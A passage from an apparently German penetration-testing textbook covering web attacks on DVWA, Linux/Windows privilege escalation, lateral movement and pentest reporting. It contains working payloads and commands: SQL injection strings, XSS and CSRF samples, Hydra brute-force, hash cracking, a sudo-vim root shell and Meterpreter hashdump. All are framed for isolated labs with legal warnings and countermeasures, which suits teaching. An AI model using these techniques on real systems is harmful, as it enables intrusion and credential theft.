- Ein Versionsbanner wie „vsftpd 2.3.4" ist nur ein Hinweis, kein Beweis für eine tatsächlich vorhandene Backdoor.

Kapitel 6: Web-Application-Hacking

Lernziele

- Du verstehst SQL-Injection und kannst sie in DVWA kontrolliert nachvollziehen.
- Du unterscheidest reflektiertes, gespeichertes und DOM-basiertes XSS.
- Du erkennst CSRF-Schwachstellen und verstehst gängige Schutzmaßnahmen.
- Du identifizierst typische Authentifizierungsfehler in Webanwendungen.

ILLEGAL – niemals ohne Auftrag

Alle Beispiele dieses Kapitels beziehen sich ausschließlich auf **DVWA** (Damn Vulnerable Web Application) in einer lokalen, isolierten Laborumgebung (Kapitel 9). DVWA ist absichtlich verwundbar gebaut und darf niemals aus dem lokalen Netz heraus erreichbar gemacht werden.

6.1 SQL-Injection

Bei **SQL-Injection (SQLi)** werden Benutzereingaben ungeprüft in eine SQL-Abfrage eingebaut, sodass Angreifende die Abfragelogik selbst verändern können.

Beispiel 6.1: Verwundbarer Code (vereinfacht, PHP)

```
$id = $_GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
```

Beispiel 6.2: DVWA (Low Security) – Eingabe testen

```
Normales Formularfeld: User ID: 1
Ergebnis: Vorname/Nachname von Benutzer 1

Manipulierte Eingabe: 1' OR '1'='1
Resultierende Abfrage:
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1'
Ergebnis: ALLE Benutzer werden angezeigt, nicht nur Benutzer 1
```

Beispiel 6.3: UNION-basierte SQL-Injection zur Datenextraktion

```
Eingabe: 1' UNION SELECT user, password FROM users -- -
Ergebnis: Benutzernamen und Passwort-Hashes der Datenbank werden mit
ausgegeben, weil UNION die Spaltenanzahl der ursprünglichen Abfrage nutzt.
```

Gut zu wissen

Die Kommentarzeichen `-- -` am Ende „kommentieren" den Rest der ursprünglichen Abfrage aus, sodass angehängte SQL-Fragmente syntaktisch gültig bleiben.

Schutzmaßnahmen: parametrisierte Abfragen (Prepared Statements), Eingabevalidierung, das Prinzip der minimalen Datenbankrechte für den Anwendungsnutzer.

Beispiel 6.4: Sichere Variante mit Prepared Statement (PHP/PDO)

```
$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?");
$stmt->execute([$id]);
```

6.2 Cross-Site Scripting (XSS)

XSS schleust schädlichen JavaScript-Code in eine Webseite ein, der im Browser anderer Nutzer:innen ausgeführt wird.

Typ	Beschreibung
Reflected XSS	Der Schadcode steckt in der Anfrage (z. B. URL-Parameter) und wird direkt in der Antwort zurückgespiegelt
Stored XSS	Der Schadcode wird dauerhaft gespeichert (z. B. in einem Kommentarfeld) und bei jedem Seitenaufruf ausgeführt
DOM-based XSS	Die Manipulation geschieht rein clientseitig im JavaScript-DOM, ohne Serverbeteiligung

Beispiel 6.5: Reflected XSS in DVWA nachvollziehen

```
Eingabe im Namensfeld: <script>alert('XSS-Test')</script>
Ergebnis: Ein Pop-up mit "XSS-Test" erscheint im Browser –
der eingegebene Code wurde ungefiltert in die Seite übernommen.
```

Beispiel 6.6: Stored XSS in einem Gästebuch-Formular

```
Kommentar: <script>alert('Stored XSS: dieser Code läuft bei jedem Seitenaufruf')</script>
Beobachtung: Im Gegensatz zu Reflected XSS (Beispiel 6.5) erscheint dieses
Pop-up bei JEDEM Aufruf der Seite durch JEDE Person, nicht nur beim Besuch
einer speziell präparierten URL – daher das deutlich höhere Risiko.
```

> **Gut zu wissen**
>
> In echten Angriffen wird ein solcher Fund oft mit `document.cookie` kombiniert, um Session-Cookies an eine vom Angreifer kontrollierte Adresse zu senden (Session-Diebstahl). Dieses Buch zeigt bewusst nur die harmlose Nachweisvariante mit `alert(...)`: Für das Lernziel – verstehen, dass und wie oft eingeschleuster Code ausgeführt wird – reicht sie vollständig aus, ohne eine direkt einsatzfähige Exfiltrationskette zu enthalten.

Schutzmaßnahmen: konsequentes Output-Encoding, Content-Security-Policy-Header, `HttpOnly`-Flag für Cookies.

6.3 Cross-Site Request Forgery (CSRF)

Bei **CSRF** wird das Opfer, während es bei einer Anwendung angemeldet ist, dazu gebracht, unwissentlich eine Aktion auszulösen (z. B. Passwortänderung), weil der Browser unter bestimmten Bedingungen Cookies automatisch mitsendet.

Beispiel 6.7: CSRF-Angriffsseite (Konzept, nur im Labor)

```
<img src="http://labor.lokal/password_change.php?new_password=hacked123" width="0" height="0">
```

Gut zu wissen

Dass dieses `<img>`-Element tatsächlich eine Passwortänderung auslöst, ist **keine Garantie**, sondern eine Hypothese, die du im konkreten Labor überprüfen musst. Ob der Browser die Session-Cookies mitsendet, hängt unter anderem vom `SameSite`-Attribut der Cookies und von Origin-Prüfungen ab: Moderne Browser setzen `SameSite=Lax` inzwischen häufig standardmäßig, was genau solche Subresource-Anfragen bereits blockieren kann. Das eigentliche Lernziel ist unabhängig vom konkreten Ergebnis: Eine Passwortänderung über eine zustandsändernde **GET**-Anfrage ist bereits für sich genommen ein Designfehler, unabhängig davon, ob dieser spezielle Angriffsweg in deiner Browser-/DVWA-Version funktioniert.

Schutzmaßnahmen: zustandsändernde Aktionen ausschließlich über POST (nie über GET), CSRF-Tokens pro Formular/Sitzung, `SameSite`-Cookie-Attribut, Re-Authentifizierung bei sicherheitskritischen Aktionen.

6.4 Authentifizierungsfehler

Häufige Schwächen in Login-Mechanismen:

- **Fehlende Brute-Force-Begrenzung:** unbegrenzt viele Login-Versuche möglich
- **Schwache Session-IDs:** vorhersagbare oder zu kurze Session-Token
- **Session Fixation:** die Session-ID ändert sich nach erfolgreichem Login nicht
- **Unsichere Passwort-Reset-Verfahren:** erratbare Sicherheitsfragen, fehlende Ablaufzeit für Reset-Links

Beispiel 6.8: Brute-Force-Grundlagen mit Hydra gegen ein Laborlogin

```
$ hydra -l admin -P kleine-testliste.txt labor.lokal http-post-form \
    "/login.php:username=^USER^&password=^PASS^:F=Login failed"
[80][http-post-form] host: labor.lokal   login: admin   password: testpass123
```

Gut zu wissen

Der exakte Formularaufbau (`http-post-form`-Parameter, Feldnamen, Fehlererkennungstext) hängt von der konkreten Version und Konfiguration der Zielanwendung ab und muss vor dem Lauf am echten Formular abgelesen werden (z. B. mit Burp Suite, Kapitel 5.4). Enthält das Formular ein dynamisches CSRF-Token, schlägt dieser einfache Befehl ohne Weiteres fehl, weil Hydra das Token nicht automatisch mitführt – in diesem Fall braucht es entweder eine eigens dafür pinned Testanwendung ohne Token oder ein Hydra-Modul, das Tokens vorab abruft.

ILLEGAL – niemals ohne Auftrag

Brute-Force-Angriffe gegen Logins sind ausschließlich im eigenen Labor (Kapitel 9) oder mit ausdrücklicher Freigabe im Scope zulässig. Gegen produktive, fremde Login-Formulare ist dies ohne Auftrag strafbar und kann zudem reale Nutzerkonten sperren oder Dienste überlasten.

6.5 Insecure Direct Object References (IDOR) und Broken Access Control

Broken Access Control liegt vor, wenn eine Anwendung Berechtigungen nicht korrekt prüft. Ein häufiger Spezialfall ist **IDOR** (Insecure Direct Object Reference): Objekte werden über vorhersehbare IDs referenziert, ohne zu prüfen, ob die anfragende Person darauf zugreifen darf.

Beispiel 6.9: IDOR in DVWA/ähnlichen Anwendungen (Konzept)

```
Angemeldet als Benutzer A, eigene Rechnung abrufbar unter:
GET /rechnung?id=1001

Änderung der ID auf eine fremde Rechnung:
GET /rechnung?id=1002
Erwartung: Zugriff verweigert
Tatsächliches Ergebnis (verwundbar): Rechnung von Benutzer B wird angezeigt
```

Schutzmaßnahmen: serverseitige Berechtigungsprüfung bei jedem Zugriff auf ein Objekt, nicht erratbare IDs (z. B. UUIDs statt fortlaufender Nummern) als zusätzliche, aber keine alleinige Schutzschicht.

6.6 Datei-Upload-Schwachstellen

Upload-Funktionen sind eine häufige Angriffsfläche, wenn Dateityp, Inhalt und Speicherort nicht ausreichend geprüft werden.

Beispiel 6.10: Unsicherer Datei-Upload (Konzept, DVWA-ähnlich)

```
Erwartung: Nur Bilddateien (.jpg, .png) sind erlaubt.
Umgehung: Eine Datei "shell.php.jpg" wird hochgeladen; der Server prüft
nur die Dateiendung oberflächlich oder das Upload-Verzeichnis ist
gleichzeitig als ausführbares Verzeichnis konfiguriert.
Ergebnis (im Labor): Ausführung von PHP-Code über die hochgeladene Datei.
```

Schutzmaßnahmen: Prüfung des tatsächlichen Dateiinhalts (nicht nur der Endung), Speicherung außerhalb des Webroots oder mit deaktivierter Ausführung, zufällige Dateinamen, Größen- und Typbegrenzung.

> **LEGAL – nur mit Auftrag/Einwilligung**
>
> Teste Datei-Uploads ausschließlich gegen DVWA oder vergleichbare Laborumgebungen. Das Hochladen potenziell ausführbarer Dateien gegen ein reales, fremdes System ist auch bei an sich harmlosem Dateiinhalt eine aktive, ohne Auftrag unzulässige Handlung.

6.7 API-Sicherheit in Kürze

Moderne Anwendungen bestehen zunehmend aus APIs (meist REST oder GraphQL), die eigene Schwachstellenmuster mitbringen, die über die klassischen Web-Schwachstellen hinausgehen.

API-Schwachstelle	Beschreibung
Broken Object Level Authorization	fehlende Prüfung, ob ein Nutzer auf ein bestimmtes Objekt zugreifen darf (API-Variante von IDOR)
Excessive Data Exposure	die API liefert mehr Felder zurück, als die Oberfläche tatsächlich anzeigt
Fehlende Rate-Limits	unbegrenzte Anfragen ermöglichen Brute-Force oder Massenabfragen
Mass Assignment	Clients können über zusätzliche Felder im Request interne Attribute verändern

Beispiel 6.11: Excessive Data Exposure (Konzept)

```
Anfrage: GET /api/users/42
Antwort (verwundbar):
{"id":42,"name":"Max","email":"max@beispiel.test","password_hash":"...",
 "is_admin":false,"internal_notes":"VIP-Kunde, Sonderkonditionen"}
Erwartung: Nur die für die Oberfläche benötigten Felder sollten
zurückgegeben werden (id, name).
```

Gut zu wissen

Das **OWASP API Security Top 10** ergänzt die klassischen OWASP Top 10 um diese API-spezifischen Muster und lohnt sich als eigene Referenz, sobald APIs Teil des Testumfangs sind.

Zusammenfassung

Zusammenfassung

- SQL-Injection entsteht durch ungeprüfte Einbettung von Nutzereingaben in Datenbankabfragen; Prepared Statements sind die wirksamste Gegenmaßnahme.
- XSS tritt reflektiert, gespeichert oder DOM-basiert auf und zielt meist auf Session-Diebstahl oder Seitenmanipulation.
- CSRF nutzt automatisch mitgesendete Cookies aus; Tokens und das SameSite-Attribut schützen davor.
- Authentifizierungsfehler wie fehlende Brute-Force-Begrenzung oder Session Fixation gehören zu den häufigsten Befunden in Web-Pentests.
- IDOR entsteht durch fehlende serverseitige Berechtigungsprüfung bei vorhersehbaren Objekt-IDs.
- Unsichere Datei-Uploads können bei fehlender Inhaltsprüfung zur Codeausführung auf dem Server führen.
- APIs bringen eigene Schwachstellenmuster mit (Broken Object Level Authorization, Excessive Data Exposure, Mass Assignment), ergänzend zum OWASP API Security Top 10.

Kapitel 7: Netzwerk- und System-Hacking

Lernziele

- Du kennst gängige Passwortangriffe und ihre Gegenmaßnahmen.
- Du verstehst das Prinzip der Privilegieneskalation unter Linux und Windows.
- Du kennst das Konzept von Lateral Movement in Netzwerken und Active-Directory-Umgebungen.
- Du kannst diese Techniken ausschließlich in dafür vorgesehenen Laborumgebungen einordnen.

ILLEGAL – niemals ohne Auftrag

Dieses Kapitel behandelt die technisch sensibelsten Themen des Buches: Passwortangriffe, Rechteausweitung und Bewegung innerhalb eines Netzwerks. Jede Übung findet ausschließlich in isolierten Laborumgebungen statt (Kapitel 9). Außerhalb eines autorisierten Auftrags sind alle hier beschriebenen Techniken Straftaten nach §§ 202a–202c, 303a–303b StGB.

7.1 Passwortangriffe

Angriffsart	Prinzip
Brute-Force	probiert systematisch alle möglichen Kombinationen
Wörterbuchangriff	probiert Wortlisten bekannter/häufiger Passwörter (z. B. „rockyou.txt")
Credential Stuffing	nutzt aus früheren Datenlecks bekannte Benutzername-Passwort-Paare
Hash-Cracking (offline)	berechnet Hashes von Kandidatenpasswörtern und vergleicht sie mit gestohlenen Hashes

Beispiel 7.1: Passwort-Hashes mit Hashcat knacken (Laborbeispiel)

```
$ hashcat -m 0 -a 0 hashes.txt rockyou.txt
Hash: 5f4dcc3b5aa765d61d8327deb882cf99
5f4dcc3b5aa765d61d8327deb882cf99:password
```

`-m 0` gibt den Hash-Typ an (hier MD5), `-a 0` wählt den Wörterbuchangriffsmodus. Je schwächer der Hash-Algorithmus (MD5, SHA-1 ohne Salt) und je gebräuchlicher das Passwort, desto schneller gelingt das Cracking.

Gut zu wissen

Salting fügt jedem Passwort vor dem Hashen eine zufällige, individuelle Zeichenfolge hinzu. Dadurch erzeugen identische Passwörter unterschiedliche Hashes, und vorberechnete Tabellen (Rainbow Tables) werden wirkungslos. Moderne Verfahren wie `bcrypt`, `scrypt` oder `Argon2` sind zusätzlich absichtlich rechenintensiv, um Brute-Force massiv zu verlangsamen.

Gegenmaßnahmen: lange, individuelle Passwörter, Multi-Faktor-Authentifizierung, Konten-Sperrung nach Fehlversuchen, moderne Hash-Verfahren mit Salting.

7.2 Privilegieneskalation

Privilegieneskalation (Privilege Escalation, kurz PrivEsc) bezeichnet den Übergang von eingeschränkten zu weitreichenderen Rechten auf einem bereits kompromittierten System.

Linux

Beispiel 7.2: Typische PrivEsc-Prüfungen unter Linux

```
$ sudo -l                       # Welche Befehle darf ich als root ausführen?
$ find / -perm -4000 -type f 2>/dev/null   # SUID-Binaries suchen
$ cat /etc/crontab               # Geplante Aufgaben, die als root laufen
```

Beispiel 7.3: Ausnutzung einer fehlkonfigurierten sudo-Regel (Labor)

```
$ sudo -l
User labuser may run the following commands:
    (root) NOPASSWD: /usr/bin/vim
$ sudo vim -c ':!/bin/sh'
# Vim startet eine Root-Shell über den eingebauten Befehlsaufruf
```

Windows

Beispiel 7.4: Typische PrivEsc-Prüfungen unter Windows (PowerShell)

```
PS> whoami /priv                        # aktuelle Berechtigungen anzeigen
PS> Get-WmiObject -Class Win32_Service | Where-Object {$_.StartMode -eq "Auto"}
PS> icacls "C:\Program Files\LegacyApp\service.exe"   # Schreibrechte prüfen
```

Häufige Windows-PrivEsc-Vektoren: unsichere Dienstberechtigungen (ein Dienst läuft als SYSTEM, aber die ausführbare Datei ist für normale Nutzer beschreibbar), fehlende Patches für bekannte lokale Exploits, in Klartext gespeicherte Zugangsdaten in Skripten oder der Registry.

> **TIPP – Profi-Trick**
>
> Automatisierte Enumerationsskripte wie `linpeas.sh` (Linux) oder `winPEAS.exe` (Windows) fassen die wichtigsten PrivEsc-Prüfungen zusammen. Sie ersetzen nicht das Verständnis der zugrunde liegenden Konzepte, sparen im Labor aber viel Zeit.

7.3 Lateral Movement

Lateral Movement beschreibt die Bewegung von einem kompromittierten System zu weiteren Systemen im selben Netzwerk, typischerweise mit dem Ziel, höherwertige Konten oder Daten zu erreichen (z. B. einen Domain Controller in einer Active-Directory-Umgebung).

Beispiel 7.5: Lateral Movement in einem Mini-AD-Labor (Konzept)

```
1. Initialer Zugriff auf Arbeitsplatzrechner A (z. B. über Phishing-Simulation)
2. Auslesen im Speicher zwischengespeicherter Zugangsdaten (nur im Labor!)
3. Verwendung der Zugangsdaten, um sich auf Server B anzumelden (z. B. via SMB)
4. Prüfung der Rechte auf Server B: Mitglied der Domain-Admin-Gruppe?
```

Technik (Konzept)	Grundidee
Pass-the-Hash	Authentifizierung mit einem gestohlenen Passwort-Hash, ohne das Klartextpasswort zu kennen

Technik (Konzept)	Grundidee
Kerberoasting	Anfordern von Service-Tickets, um deren Hashes offline zu knacken
Zugangsdaten-Wiederverwendung	dasselbe Passwort auf mehreren Systemen erleichtert laterale Bewegung

ILLEGAL – niemals ohne Auftrag

Pass-the-Hash, Kerberoasting und vergleichbare Techniken funktionieren ausschließlich gegen eine eigens aufgebaute, isolierte Active-Directory-Testumgebung (Kapitel 9). Der Einsatz gegen ein reales Firmennetzwerk ohne expliziten Auftrag mit entsprechend definiertem Scope ist strafbar und kann massive Betriebsstörungen verursachen.

Gegenmaßnahmen: Netzwerksegmentierung, das Prinzip der minimalen Rechte, regelmäßige Rotation privilegierter Zugangsdaten, Überwachung ungewöhnlicher Anmeldemuster (Detection, „Blue Team").

7.4 Post-Exploitation: Was nach dem ersten Zugriff passiert

Nach einem erfolgreichen Exploit (Kapitel 5) folgt die **Post-Exploitation**-Phase: Bewertung, was mit dem erlangten Zugriff im Rahmen des Scopes demonstriert werden darf.

Beispiel 7.6: Typische Post-Exploitation-Schritte mit Meterpreter (Konzept)

```
meterpreter > sysinfo                # Systeminformationen sammeln
meterpreter > getuid                 # aktuelle Benutzerrechte prüfen
meterpreter > hashdump               # lokale Passwort-Hashes auslesen (nur im Labor!)
meterpreter > screenshot             # Bildschirmfoto zu Dokumentationszwecken
```

LEGAL – nur mit Auftrag/Einwilligung

`hashdump` und vergleichbare Befehle liefern im Labor wertvolles Lernmaterial für Kapitel 7.1. Gegen ein reales System sind solche Aktionen nur zulässig, wenn der Scope dies ausdrücklich als Post-Exploitation-Schritt vorsieht – andernfalls ist bereits das Auslesen fremder Passwort-Hashes ein eigenständiger Verstoß gegen § 202a StGB.

7.5 Persistenz – Konzept und Grenzen im Pentest

Persistenz bezeichnet Mechanismen, mit denen Angreifende auch nach einem Neustart oder einer Trennung Zugriff auf ein System behalten (z. B. über geplante Aufgaben, Autostart-Einträge oder manipulierte Dienste).

Technik (Konzept)	Beispiel
Geplante Aufgabe	ein Cronjob oder Windows-Task startet regelmäßig eine Verbindung zum Angreifer
Autostart-Eintrag	ein Registry-Key oder Autostart-Skript startet die Payload beim Hochfahren
Manipulierter Dienst	ein bestehender Systemdienst wird um schädliche Funktionalität erweitert

WARNUNG – Sicherheitsrisiko

> Persistenzmechanismen gehören zu den **invasivsten** Pentest-Techniken, weil sie das Zielsystem dauerhaft verändern. Sie werden in echten Aufträgen nur eingesetzt, wenn der Scope dies ausdrücklich vorsieht, und müssen am Ende des Tests **vollständig und nachweislich entfernt** werden. Im eigenen Labor gilt: Nutze Snapshots (Kapitel 9), statt Persistenz manuell wieder rückgängig machen zu müssen.

7.6 Pivoting: Von einem System ins nächste Netzwerksegment

Pivoting nutzt ein bereits kompromittiertes System als Sprungbrett, um Netzwerksegmente zu erreichen, die vom Angreifer-System aus nicht direkt sichtbar sind – eine Erweiterung des Lateral-Movement-Konzepts aus Abschnitt 7.3.

Beispiel 7.7: Pivoting mit Metasploit (Konzept)

```
meterpreter > run autoroute -s 10.10.10.0/24
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > run
# Weitere Tools (z. B. Nmap) können nun über den SOCKS-Proxy
# das sonst unerreichbare Segment 10.10.10.0/24 scannen.
```

7.7 Wichtige Werkzeuge dieses Kapitels im Überblick

Werkzeug	Zweck
Hydra	Online-Brute-Force gegen Login-Formulare und Dienste (SSH, FTP, HTTP)
Hashcat	Offline-Cracking von Passwort-Hashes, GPU-beschleunigt
John the Ripper	alternative Offline-Cracking-Suite, oft für `/etc/shadow`-Formate genutzt
linpeas.sh / winPEAS.exe	automatisierte Privilegieneskalations-Enumeration
BloodHound	visualisiert Angriffspfade innerhalb einer Active-Directory-Umgebung
Mimikatz	liest unter Windows im Speicher zwischengespeicherte Zugangsdaten aus (nur Labor)

Beispiel 7.8: Passwort-Hashes mit John the Ripper knacken (Labor)

```
$ unshadow /etc/passwd /etc/shadow > kombiniert.txt
$ john --wordlist=rockyou.txt kombiniert.txt
$ john --show kombiniert.txt
```

7.8 Active-Directory-Angriffspfade visualisieren

In größeren Windows-Netzwerken mit Active Directory führen oft mehrere kleine Fehlkonfigurationen gemeinsam zu einem kritischen Pfad zum Domain Administrator. **BloodHound** sammelt Berechtigungsdaten und stellt mögliche Angriffspfade grafisch dar.

Beispiel 7.9: BloodHound-Datensammlung im Mini-AD-Lab (Konzept)

```
1. SharpHound (Sammel-Tool) auf einem Domänen-Client ausführen.
2. Gesammelte Daten in die BloodHound-Oberfläche importieren.
3. Abfrage "Shortest Path to Domain Admins" ausführen.
4. Ergebnis: grafischer Pfad über mehrere Gruppenmitgliedschaften und
   Berechtigungen hinweg, der einzeln betrachtet harmlos wirken könnte.
```

Gut zu wissen

Der Wert von BloodHound liegt darin, dass einzelne, isoliert unauffällige Berechtigungen (z. B. "Nutzer X darf Passwort von Gruppe Y zurücksetzen") in Kombination einen kritischen Pfad ergeben können, den manuelle Analyse leicht übersieht.

Zusammenfassung

Zusammenfassung

- Passwortangriffe reichen von Brute-Force über Wörterbuchangriffe bis zu Offline-Hash-Cracking; Salting und MFA sind die wirksamsten Gegenmaßnahmen.
- Privilegieneskalation nutzt Fehlkonfigurationen (sudo-Regeln, Dienstrechte) aus, um von eingeschränkten zu administrativen Rechten zu gelangen.
- Lateral Movement beschreibt die Ausbreitung im Netzwerk nach einem initialen Zugriff, oft mit dem Ziel eines Domain Controllers.
- Alle Techniken dieses Kapitels gehören ausschließlich in isolierte Laborumgebungen oder streng autorisierte Aufträge.
- Post-Exploitation bewertet, was mit erlangtem Zugriff im Scope demonstriert werden darf; Persistenz muss nach dem Test rückstandslos entfernt werden.
- Pivoting erschließt über ein kompromittiertes System weitere, sonst unerreichbare Netzwerksegmente.
- Hydra, Hashcat und John the Ripper decken Online- und Offline-Passwortangriffe ab; linpeas/winPEAS automatisieren PrivEsc-Checks.
- BloodHound macht komplexe Active-Directory-Angriffspfade sichtbar, die aus mehreren, einzeln harmlosen Berechtigungen entstehen.

Kapitel 8: Reporting & Dokumentation

Lernziele

- Du strukturierst einen professionellen Schwachstellenbericht.
- Du bewertest Befunde nachvollziehbar mit CVSS.
- Du formulierst konkrete, umsetzbare Maßnahmenempfehlungen.
- Du verstehst, warum der Bericht oft das wichtigste Ergebnis eines Pentests ist.

8.1 Warum der Bericht entscheidend ist

Ein Pentest ohne guten Bericht ist für den Auftraggeber fast wertlos: Die beste Schwachstelle nützt nichts, wenn niemand versteht, wie kritisch sie ist und was konkret zu tun ist. Der Bericht ist das **Produkt**, das der Kunde tatsächlich bezahlt – die Technik dahinter ist Mittel zum Zweck.

8.2 Aufbau eines professionellen Berichts

Beispiel 8.1: Typische Gliederung eines Pentest-Berichts

```
1. Management Summary (1 Seite, für Nicht-Techniker:innen)
2. Scope und Methodik
3. Zusammenfassung der Befunde (Tabelle, nach Risiko sortiert)
4. Detaillierte Befunde (pro Schwachstelle ein Abschnitt)
5. Anhang: Rohdaten, Scan-Ausgaben, Tool-Versionen
```

Management Summary

Die Zusammenfassung richtet sich an Entscheidungsträger:innen ohne technisches Detailwissen: Wie steht es insgesamt um die Sicherheit? Wie viele kritische Befunde gibt es? Was sollte zuerst behoben werden?

Pro Befund: ein vollständiger Eintrag

Beispiel 8.2: Struktur eines einzelnen Befunds

```
Titel: SQL-Injection im Login-Formular (/login.php)
Risiko: KRITISCH (CVSS 3.1: 9.1 – Vektor: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Betroffene Systeme: labor.lokal, Parameter "username"
Beschreibung: Das Feld "username" wird ungeprüft in eine SQL-Abfrage
  eingebettet, wodurch beliebige Datenbankabfragen möglich sind.
Proof of Concept: Eingabe admin' OR '1'='1' -- - umgeht die Anmeldung.
Auswirkung: Vollständiger Zugriff auf alle Benutzerkonten und Daten.
Empfehlung: Umstellung auf Prepared Statements; Eingabevalidierung;
  minimale Datenbankrechte für den Anwendungsnutzer.
Referenzen: OWASP Top 10 – A03:2021 Injection
```

TIPP – Profi-Trick

Ein **Proof of Concept** (Nachweis der Ausnutzbarkeit) macht den Befund für technische Leser:innen nachvollziehbar und verifizierbar – beschreibe ihn so genau wie nötig, aber ohne unnötige Details, die bei versehentlicher Weitergabe des Berichts Schaden anrichten könnten.

8.3 Risikobewertung mit CVSS

CVSS (Common Vulnerability Scoring System) bewertet den Schweregrad einer Schwachstelle anhand mehrerer Faktoren zu einem Wert zwischen 0.0 und 10.0.

CVSS-Bereich	Einstufung
0.1–3.9	Niedrig
4.0–6.9	Mittel
7.0–8.9	Hoch
9.0–10.0	Kritisch

Wichtige Faktoren der Berechnung (CVSS v3.1, vereinfacht):

- **Angriffsvektor:** Netzwerk, angrenzendes Netz, lokal oder physisch
- **Angriffskomplexität:** niedrig oder hoch
- **Erforderliche Rechte:** keine, niedrig oder hoch
- **Nutzerinteraktion:** erforderlich oder nicht
- **Auswirkung auf Vertraulichkeit, Integrität, Verfügbarkeit:** jeweils keine, niedrig oder hoch

Beispiel 8.3: CVSS-Vektor lesen

```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H -> Basis-Score 9.8 (KRITISCH)
AV:N = über Netzwerk erreichbar, AC:L = geringe Komplexität,
PR:N = keine Rechte nötig, UI:N = keine Nutzerinteraktion,
C:H/I:H/A:H = hohe Auswirkung auf alle drei Schutzziele
```

> **Gut zu wissen**
>
> Offizielle CVSS-Rechner (z. B. des FIRST-Konsortiums) führen interaktiv durch alle Faktoren und erzeugen den passenden Vektor-String automatisch – das manuelle Auswendiglernen der Formel ist für die Praxis nicht nötig. **Wichtig für den Bericht:** Jeder angegebene CVSS-Wert gehört immer zusammen mit seinem vollständigen Vektor-String, der CVSS-Version und den getroffenen Annahmen dokumentiert, nie als isolierte Zahl – ein Score ohne Vektor ist für Leser:innen nicht nachvollziehbar und nicht reproduzierbar. CVSS bewertet zudem die technische Schwere einer Schwachstelle, nicht automatisch die vollständige geschäftliche Risikopriorität; Faktoren wie Datensensitivität oder Geschäftskontext ergänzen die Einordnung.

8.4 Maßnahmenempfehlungen formulieren

Gute Empfehlungen sind **konkret, umsetzbar und priorisiert** – kein allgemeines „IT-Sicherheit verbessern".

Schwach	Besser
„Die Anwendung sollte sicherer gemacht werden."	„Alle Datenbankabfragen in `login.php` und `search.php` auf Prepared Statements umstellen (siehe Beispiel 6.4)."
„Passwörter stärken."	„Minimale Passwortlänge auf 12 Zeichen erhöhen, Multi-Faktor-Authentifizierung für alle administrativen Konten einführen."
„Patches einspielen."	„OpenSSH auf Version X.Y oder neuer aktualisieren; betroffen sind die Server labor-web01 und labor-web02."

TIPP – Profi-Trick

Gliedere Empfehlungen nach Dringlichkeit (sofort / kurzfristig / mittelfristig) statt nach technischer Kategorie. Das erleichtert dem Auftraggeber die Priorisierung erheblich.

8.5 Vertraulichkeit und Umgang mit dem Bericht

Ein Pentest-Bericht enthält detaillierte Angriffswege auf reale oder repräsentative Systeme und ist damit selbst ein sicherheitskritisches Dokument.

WARNUNG – Sicherheitsrisiko

Verschlüssele Berichte bei Versand (z. B. PGP oder ein passwortgeschütztes, über einen separaten Kanal übermitteltes Archiv), begrenze den Empfängerkreis auf das Nötigste, und lösche Arbeitskopien nach Projektende gemäß vertraglicher Vereinbarung.

8.6 Befunde nach Kategorien gruppieren

Bei größeren Tests mit vielen Einzelbefunden hilft eine Gruppierung nach Schwachstellenklasse (z. B. nach OWASP Top 10, Kapitel 5.1), um Muster sichtbar zu machen, statt jeden Befund isoliert zu betrachten.

Beispiel 8.4: Befundübersicht nach Kategorie (Auszug)

```
Kategorie                       Anzahl   Höchster CVSS
Injection (SQLi)                2        9.1
Identification/Auth Failures    3        7.5
Security Misconfiguration       5        6.8
Vulnerable/Outdated Components  4        8.2
```

Eine solche Übersicht zeigt dem Auftraggeber sofort strukturelle Schwächen – etwa ein wiederkehrendes Problem mit veralteten Komponenten – statt nur eine lange Liste von Einzelfällen.

8.7 Der Retest

Nach Behebung der gemeldeten Schwachstellen folgt idealerweise ein **Retest**: eine gezielte, meist deutlich kürzere Nachprüfung, ob die Maßnahmen tatsächlich wirksam sind.

Checkliste 8.5: Retest-Vorbereitung

```
[ ] Liste aller ursprünglichen Befunde mit Status (behoben/offen/teilweise)
[ ] Für jeden "behoben"-Status: denselben Proof of Concept erneut prüfen
[ ] Neue, durch die Fixes eingeführte Probleme explizit mit abdecken
[ ] Retest-Ergebnis als Nachtrag zum ursprünglichen Bericht dokumentieren
```

TIPP – Profi-Trick

Ein professioneller Umgang mit Retests – inklusive der ehrlichen Angabe, falls eine Maßnahme nicht wirksam war – stärkt die Glaubwürdigkeit deutlich mehr als ein Bericht, der nur Erfolge zeigt.

8.8 Beispielhafter Berichtsauszug (vollständig anonymisiert)

Beispiel 8.6: Vollständiger Befundeintrag im Kontext (Auszug aus einem Musterbericht)

```
=== BEFUND 3 VON 7 ===
Titel:        Fehlende Kontosperrung ermöglicht Brute-Force-Angriffe
Risiko:       MITTEL (CVSS 3.1: 6.5)
CVSS-Vektor:  AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Kategorie:    OWASP A07:2021 – Identification and Authentication Failures
Betroffen:    https://portal.kunde-x.test/login

Beschreibung:
Das Login-Formular begrenzt die Anzahl fehlgeschlagener Anmeldeversuche
nicht. Ein automatisierter Wörterbuchangriff mit gängigen Passwörtern
konnte innerhalb von 40 Minuten ein gültiges Benutzerkonto kompromittieren.

Proof of Concept:
$ hydra -l j.mueller -P common-passwords.txt portal.kunde-x.test \
    http-post-form "/login:user=^USER^&pass=^PASS^:Ungültige Anmeldung"
[...] login: j.mueller   password: Sommer2025!
Auswirkung:
Zugriff auf das Kundenkonto von j.mueller, inklusive einsehbarer
Rechnungshistorie und hinterlegter Adressdaten.

Empfehlung (Priorität: kurzfristig):
1. Kontosperrung nach 5 Fehlversuchen für 15 Minuten einführen.
2. Multi-Faktor-Authentifizierung für alle Kundenkonten anbieten.
3. Protokollierung fehlgeschlagener Login-Versuche zur Angriffserkennung
   einrichten (siehe OWASP A09:2021 – Logging and Monitoring Failures).

Referenzen: OWASP Top 10 A07:2021, CWE-307
```

Dieser vollständige Auszug zeigt das Zusammenspiel aller in diesem Kapitel behandelten Elemente: präzise Risikoeinstufung, nachvollziehbarer Proof of Concept, konkrete und priorisierte Empfehlung sowie die Einordnung in einen anerkannten Referenzrahmen.

8.9 Häufige Fehler beim Berichtschreiben

Fehler	Besser
